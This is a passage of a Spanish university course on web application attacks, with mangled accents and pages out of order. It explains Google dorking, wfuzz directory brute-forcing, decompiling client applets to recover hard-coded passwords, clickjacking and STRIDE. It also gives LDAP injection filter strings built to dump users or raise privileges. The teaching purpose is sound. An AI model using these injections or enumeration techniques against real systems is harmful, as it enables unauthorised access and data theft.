que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
